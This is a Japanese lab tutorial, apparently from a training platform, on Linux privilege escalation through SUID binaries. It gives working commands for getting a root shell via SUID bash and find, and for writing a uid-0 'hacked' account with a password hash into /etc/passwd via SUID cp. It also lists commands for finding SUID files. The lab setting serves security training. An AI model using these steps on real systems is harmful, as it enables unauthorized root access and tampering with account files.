はじめに
この実験では、SUID(実行時にユーザー ID を設定する)パーミッションについて学び、Linux システムでこれを利用して特権昇格を行う方法を学びます。目的は、bash
、find
、cp
、mv
コマンドなどのさまざまな手法を使って SUID バイナリを悪用し、root アクセスを取得することです。
💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください
この実験では、SUID(実行時にユーザー ID を設定する)パーミッションについて学び、Linux システムでこれを利用して特権昇格を行う方法を学びます。目的は、bash
、find
、cp
、mv
コマンドなどのさまざまな手法を使って SUID バイナリを悪用し、root アクセスを取得することです。
このステップでは、SUID パーミッションの概念とその影響について理解します。
通常、Linux でプログラムを実行すると、それは現在のユーザーの権限で実行されます。ただし、cp
のような一部のプログラムは、制限されたディレクトリにファイルをコピーするなど、特定の操作を実行するために昇格された権限が必要です。通常のユーザーがこのようなプログラムを昇格された権限で実行できるようにするために、実行可能ファイルに SUID パーミッションを設定することができます。
SUID は「実行時にユーザー ID を設定する(Set user ID upon execution)」の略です。ファイルに SUID パーミッションが設定されている場合、それは実行するユーザーに関係なく、所有者の権限で実行されます。たとえば、cp
コマンドは root ユーザーが所有しており、SUID ビットが設定されているため、どのユーザーでも root 権限で実行できます。
cp
コマンドの SUID パーミッションを確認し、出力をファイルに保存するには、次のコマンドを実行します。
ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt
次のコマンドを使用して、suid_cp.txt
ファイルの内容を表示します。
cat /home/labex/project/suid_cp.txt
期待される出力:
-rwsr-xr-x 1 root root 141832 Feb 8 2024 /usr/bin/cp
パーミッションビットに s
が表示され、SUID パーミッションが設定されていることを示しています。
SUID は通常のユーザーが特定の特権コマンドを実行できるようにするために便利ですが、SUID バイナリがシステムコマンドの実行やファイルの変更機能を提供する場合、悪用される可能性もあります。
このステップでは、SUID パーミッションが設定された bash
コマンドを利用して特権昇格を行う方法を学びます。
まず、ターミナルを開き、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
bash
コマンドのパーミッションを確認します。
ls -l /bin/bash
期待される出力:
-rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
bash
コマンドに SUID ビットが設定されている場合、次のコマンドを使用して root 権限でシステムコマンドを実行することができます。
bash -p
whoami
を使用して、root シェルになっていることを確認できます。
whoami
期待される出力:
root
これで、/root
ディレクトリに root.txt
という名前のファイルを作成し、その内容を確認することができます。
touch /root/root.txt
/root
ディレクトリに root.txt
ファイルが表示されるはずです。
このステップでは、SUID パーミッションが設定された find
コマンドを利用して特権昇格を行う方法を学びます。
前のステップで root シェルを取得しているはずです。このステップでは、exit
コマンドを使用するか、新しいターミナルを開いて root シェルからログアウトし、labex
ユーザーとして再度ログインする必要があります。
まず、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
find
コマンドのパーミッションを確認します。
ls -l /usr/bin/find
find
コマンドに SUID ビットが設定されている場合、これを利用して root 権限でシステムコマンドを実行することができます。
find
でコマンドを実行する構文は次の通りです。
find < file > -exec < command > \;
ここで、<file>
は任意のファイルです。test
という名前のファイルを作成しましょう。
touch test
これで、find
を使用してコマンドを実行することができます。
find test -exec whoami \;
これにより、whoami
コマンドが root 権限で実行されます。ただし、この方法は ssh
や su
のような対話型コマンドには不便です。
より便利な root シェルを取得するには、/bin/bash
コマンドを実行することができます。
find test -exec /bin/bash -p \;
注意:-p
フラグは、実効ユーザー ID (EUID) を保持し、実際のユーザー ID (RUID) にリセットされないようにするために必要です。
これで root シェルを取得しているはずです。/root
ディレクトリに root.txt
という名前のファイルを作成し、その内容を確認します。
touch /root/root.txt
/root
ディレクトリに root.txt
ファイルが表示されるはずです。
このステップでは、SUID パーミッションが設定された cp
と mv
コマンドを利用して、/etc/passwd
または /etc/shadow
ファイルを変更することで特権昇格を行う方法を学びます。
前のステップで root シェルを取得しているはずです。このステップでは、exit
コマンドを使用するか、新しいターミナルを開いて root シェルからログアウトし、labex
ユーザーとして再度ログインする必要があります。
まず、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
cp
コマンドのパーミッションを確認します。
ls -l /bin/cp
cp
コマンドに SUID ビットが設定されている場合、悪用を進めることができます。
/etc/passwd
の内容をホームディレクトリ内のファイルにコピーします。
cat /etc/passwd > /home/labex/project/passwd
次の詳細で新しいユーザーエントリを作成します。
ユーザー名:hacked
パスワード:pass123
/home/labex/project/passwd
ファイルの末尾に次の行を挿入します。
echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
これで、SUID パーミッションが設定された cp
コマンドを使用して、/etc/passwd
ファイルを上書きします。
cp /home/labex/project/passwd /etc/passwd
ファイルを上書きした後、su
コマンドを使用してパスワード pass123
で hacked
ユーザーに切り替えることができます。
su hacked
hacked
ユーザーのユーザー ID (uid
) は 0
なので、root 権限を持つことになります。
mv
コマンドの悪用方法は cp
と似ています。自分で試してみることができます。
このステップでは、システム上で潜在的に特権昇格に利用できる SUID バイナリを検索する方法を学びます。
次のコマンドを使用して、SUID ビットが設定されたすべての実行可能ファイルをリストアップできます。
find / -user root -perm -4000 -print 2> /dev/null
find / -perm -u=s -type f 2> /dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
以下の手順を実行するために、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
システム上の SUID バイナリをリストアップするためにいずれかのコマンドを選択し、出力を分析します。
find / -user root -perm -4000 -print 2> /dev/null > check_results.txt
check_results.txt
ファイルの内容を確認して、システム上の SUID バイナリのリストを表示します。
cat check_results.txt
ただし、出力には特権昇格に利用できない多くのファイルが含まれている可能性があり、手動での分析が必要です。
この実験では、SUID パーミッションについて学び、bash
、find
、cp
、mv
などのさまざまな SUID バイナリを Linux システム上で特権昇格に利用する方法を学びました。これらのバイナリを悪用して root アクセスを取得する実践的な経験を積みました。これはサイバーセキュリティの分野において重要なスキルです。この実験では実践的なシナリオを提供し、技術を理解して効果的に適用するための手順を案内しました。